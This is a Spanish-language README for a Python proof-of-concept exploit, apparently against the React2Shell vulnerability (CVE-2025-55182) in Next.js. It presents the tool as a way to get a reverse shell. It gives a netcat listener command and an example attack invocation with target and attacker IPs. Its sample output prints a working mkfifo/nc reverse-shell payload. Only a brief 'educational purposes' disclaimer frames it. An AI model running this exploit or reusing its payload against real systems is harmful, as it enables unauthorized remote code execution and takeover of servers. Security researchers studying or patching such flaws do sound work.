Este es un script PoC fácil de usar para explotar la vulnerabilidad React2Shell-CVE-2025-55182 de Nextjs. Esto ayudará a obtener una reverse shell.
🚀 React2Shell - (CVE-2025–55182) Script de explotación
🔥 Introducción
Este repositorio contiene un script de explotación para la vulnerabilidad React2Shell (CVE-2025–55182), que ataca un tipo específico de Node.js Prototype Pollution que conduce a la ejecución remota de código (RCE).
El script está específicamente diseñado para establecer una conexión reverse shell de Netcat mediante la inyección de un payload malicioso en la aplicación vulnerable.
⚠️ Descargo de responsabilidad
Esta herramienta es solo para fines educativos y de investigación.
⚙️ Requisitos previos
- Python 3.x
- La biblioteca
requestsInstalación
Puedes instalar la dependencia de Python requerida usando
pip:pip install requests
🖥️ Uso
El script es una herramienta específica para obtener una reverse shell y requiere 3 parámetros principales: la URL objetivo (
-u), tu dirección IP local (-l) y el puerto del listener (-p).1. Inicia tu listener
Antes de ejecutar el exploit, debes configurar un listener de Netcat en tu máquina local para capturar la conexión reverse shell entrante.
# Start Netcat listener on port 9001 (or your custom port) nc -lvnp 90012. Ejecuta el script de explotación
Ejecuta el script proporcionando los argumentos necesarios. Si omites el puerto (
-p), se usará el valor predeterminado 9001.
Flag Argumento Descripción Ejemplo -u--url(REQUERIDO) La URL completa del objetivo vulnerable. http://192.168.1.100:3000-l--local-ip(REQUERIDO) Tu dirección IP de atacante/listener. 192.168.1.5-p--portEl puerto en el que se ejecuta tu listener. 4444
Ejemplo de uso
Para atacar
http://192.168.1.100:3000/y conectarte de vuelta a tu listener en192.168.1.5:4444:python react2shell.py -u http://192.168.1.100:3000 -l 192.168.1.5 -p 4444Salida esperada
El exploit aprovecha la función
execSyncen el objetivo, que normalmente bloquea el proceso del servidor. Por lo tanto, un ReadTimeout es la señal esperada de una ejecución de comandos exitosa.### 🔥 React2Shell - (CVE-2025–55182) ### By Hasa [*] Target URL (-u): [http://192.168.1.100:3000/](http://192.168.1.100:3000/) [*] Local IP (-l): 192.168.1.5 [*] Port (-p): 4444 [*] Command: rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|sh -i 2>&1|nc 192.168.1.5 4444 >/tmp/f [*] Sending payload... [+] [+] Attack may be Successful! Check your Netcat Listner.Si tiene éxito, verás la shell conectarse en tu listener de Netcat.
🖼️ Menú de ayuda
Ejecutar el script sin argumentos muestra el banner y las instrucciones de uso obligatorias:
python react2shell.pySalida:
### 🔥 React2Shell - (CVE-2025–55182) ### By Hasa usage: react2shell.py [-h] -u URL -l LOCAL_IP [-p PORT] Educational Purposes Only!!! options: -h, --help show this help message and exit -u URL, --url URL (REQUIRED) The target URL (Ex: "[http://example.com:3000](http://example.com:3000)") -l LOCAL_IP, --local-ip LOCAL_IP (REQUIRED) Listner or Attacker IP (Ex: "192.168.100.1") -p PORT, --port PORT Listner Port (Default: 9001)
![]()